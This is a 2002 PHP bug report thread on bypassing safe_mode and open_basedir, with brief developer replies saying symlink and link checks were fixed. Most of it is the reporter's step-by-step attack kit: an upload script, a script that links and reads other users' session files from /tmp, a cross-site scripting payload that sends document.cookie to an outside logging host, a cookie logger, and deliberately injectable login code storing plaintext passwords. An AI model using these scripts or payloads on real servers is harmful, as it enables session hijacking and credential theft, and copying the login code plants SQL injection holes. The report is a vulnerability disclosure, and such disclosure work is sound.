ID: 17790 Comment by: devdas_kantee at hotmail dot com Reported By: tozz at kijkt dot tv Status: Closed Bug Type: Filesystem function related Operating System: Linux PHP Version: 4.2.1 New Comment:
hi Previous Comments: ------------------------------------------------------------------------ [2002-06-16 17:28:31] [EMAIL PROTECTED] This bug has been fixed in CVS. You can grab a snapshot of the CVS version at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites. Thank you for the report, and for helping us make PHP better. symlink and link now perfom an openbasedir and uid check for link and for its target. anyway the situation you describe is caused by a totally misconfigured server. document root directories should never ever be writeable for the apache user. thats a generic rule and disobeying it is a security hole. ------------------------------------------------------------------------ [2002-06-16 16:55:49] bastijs at net-force dot nl well, this is possible because of the move_uploaded_file + the link function. move_uploaded_file will change your own UID to 48 apache so you will be able to read files from the /tmp dir if you link the /tmp directory to your own made tmp directory So I think it`s a PHP bug. cya, BasTijs ------------------------------------------------------------------------ [2002-06-16 16:42:06] [EMAIL PROTECTED] The session stealing stuff is only possible because of a great flaw in the upload script. That's not a problem in PHP. Safe mode is not safe. But tbese are things that should not be managed by PHP, but by the OS. Apache 2 solves this problem with the Perchild MPM. Safe mode tries to solve this problem, but it can't completely. Read the php-dev archives for more about this. What remains is that symlinks might be able to work around open_basedir restrictions. That should not be possible. Reclassified. ------------------------------------------------------------------------ [2002-06-16 16:24:36] tozz at kijkt dot tv Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir This file includes 2 new PHP bugs + a guide on how to use cross scripting to steal sessions + passwords PHP bugs: 1) Break safe_mode restriction using move_uploaded_file. 2) Break open_basedir restriction using the PHP link function This script will upload a file to the dir /css/ op my website http://www.net-force.nl/css/ Because the move_upload_file changes the users from my own name-> bastijs ID 566 to apache ID 48 I will be able to break the safe_mode restriction and read files from the /tmp/ directory with my steel.php script. ( Chmod 777 /css/ ) upload.php ++++++++++++++ <? $file = $HTTP_POST_FILES['file']['name']; $type = $HTTP_POST_FILES['file']['type']; $size = $HTTP_POST_FILES['file']['size']; $temp = $HTTP_POST_FILES['file']['tmp_name']; $size_limit = "100000"; // set size limit in bytes if ($file){ if ($size < $size_limit){ move_uploaded_file($temp,"/domains/net-force.nl/public_html/www/css/" .$file); echo "File <tt>$file</tt> uploaded!"; } else { echo "Sorry, your file exceeds the size limit of $size_limit bytes"; }} echo " <form enctype='multipart/form-data' action=$PHP_SELF method=post> Upload a file: <input name='file' type='file'> <input type='submit' value='Upload'> </form> "; ?> ++++++++++++++ This script will steal a session from the tmp dir and place a file named $sessie.txt in your own temp dir, I used -> http://www.net-force.nl/css/tmp/ so I will get a file called http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc I used the link function to break the open_basedir restriction so I was able to view the file. steel.php ++++++++++++++ <? if(IsSet($submit) && $submit == "steel"){ link("/tmp/sess_" . $sessie, "tmp/$sessie.txt"); $file = file("tmp/$sessie.txt"); echo $file[0]; }else{ echo " <form method=\"post\" action=\"$PHP_SELF\"> Sessie:<br> <input type=\"text\" name=\"sessie\"><br> <input type=\"submit\" name=\"submit\" value=\"steel\"> </form> "; } ?> ++++++++++++++ Now I`m gonna test the exploit and steel a session ID using the cross-scripting exploit. First I will create a table called css in MYSQL, edit the scripts for your own server. CREATE TABLE `css` ( `id` int(10) NOT NULL auto_increment, `naam` varchar(40) NOT NULL default '', `password` varchar(40) NOT NULL default '', PRIMARY KEY (`id`) ) TYPE=MyISAM; Now I will install an login + register script which will use sessions for auth. register.php ++++++++++++++ <? include('functions.php'); session_start(); if(IsSet($submit) && $submit == "register"){ $Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or die("Error!"); $info = mysql_fetch_array($Query); if($info['id'] != ""){ die("error!"); }else{ mysql_query("INSERT INTO css (id, naam, password) VALUES (NULL, '$naam', '$password')", $db) or die("Error!"); $UserData = $info; session_register('UserData'); echo("Welcome!"); } }else{ echo "<h1>Register</h1> <form method=\"post\" action=\"$PHP_SELF\"> Name:<br> <input type=\"text\" name=\"naam\"><br> Password:<br> <input type=\"password\" name=\"password\"><br><br> <input type=\"submit\" name=\"submit\" value=\"register\"> </form></td></tr> "; } ?> ++++++++++++++ login.php ++++++++++++++ <? session_start(); include('functions.php'); $check = ""; if(IsSet($UserData)){ $sql = mysql_query("SELECT * FROM css WHERE naam='$UserData[naam]'", $db) or die("Error!"); $user = mysql_fetch_array($sql); if($user['password'] == $UserData['password']){ $check = "1"; }else{ $check = "0"; } } if(IsSet($submit) && $submit == "login"){ $Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or die("Error!"); $info = mysql_fetch_array($Query); if($info['id'] == ""){ die("error!"); }elseif($info['password'] != $password){ die("wrong password!"); }else{ $UserData = $info; session_register(UserData); header("location: $PHP_SELF?login"); } }elseif(IsSet($action) && $action == "logout"){ session_destroy(); header("location: $PHP_SELF?view"); }elseif($check == "1"){ echo("Logged in! <a href=\"$PHP_SELF?action=logout\">logout</a>"); }else{ echo "<h1>Login</h1> <form method=\"post\" action=\"$PHP_SELF\"> Name:<br> <input type=\"text\" name=\"naam\"><br> Password:<br> <input type=\"password\" name=\"password\"><br><br> <input type=\"submit\" name=\"submit\" value=\"login\"> </form></td></tr> "; } ?> ++++++++++++++ functions.php ++++++++++++++ <? $dbserver = "localhost"; $dbuser = "root"; $dbpass = ""; $dbname = ""; if(!$db = @mysql_connect("$dbserver", "$dbuser", "$dbpass")) die($error_mysql); if([EMAIL PROTECTED]("$dbname", $db)) die($error_mysql); ?> ++++++++++++++ Ok my test auth script works fine so now I`m gonna create a "cross-scripting bugged" script If you are able to find a cross-scripting bugged site on the same host you will be able to steal their session id using the css bug like this -> make a user from the bugged site open the css bugged script like this http://wwww.site.com/script.php?id="><script>document.location='http://www.net-force.nl/css/log.php?' +document.cookie</script> Check some cross-scripting tutorials if you don`t get it :) But I created my own bugged script to simulate the css bug and steal my own cookie. bugged.php ++++++++++++++ <html> <script>document.location='http://www.net-force.nl/css/log.php?' +document.cookie</script> </html> ++++++++++++++ Now I`m gonna install the session ID log script. You will have to create a file called session.txt and chmod it 777. log.php ++++++++++++++ <? $fd = fopen("session.txt", "a+") or die("can`t open file!"); $fout = fwrite($fd, "$QUERY_STRING\n"); fclose($fd); ?> ++++++++++++++ Ok that`s all.... register a new user and login. Now run the bugged.php and you will be redirected to the log script. This script will log your cookie + session ID to the session.txt file. Check the session.txt you will find something like this: PHPSESSID=c0b66dd6df22091b72da1763a233dc85 now copy and past c0b66dd6df22091b72da1763a233dc85 into your steal.php, run it and you will get the username + password like this: UserData|a:6:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:3:"Bas";s:4:"naam";s:3:"Bas";i:2;s:3:"aap";s:8:"password";s:3:"aap";} username: Bas password: aap try to login and it works....you stole the user`s password! Test a full working version of the session steal script on http://www.net-force.nl/css/ cya, BasTijs [EMAIL PROTECTED] http://www.net-force.nl ------------------------------------------------------------------------ -- Edit this bug report at http://bugs.php.net/?id=17790&edit=1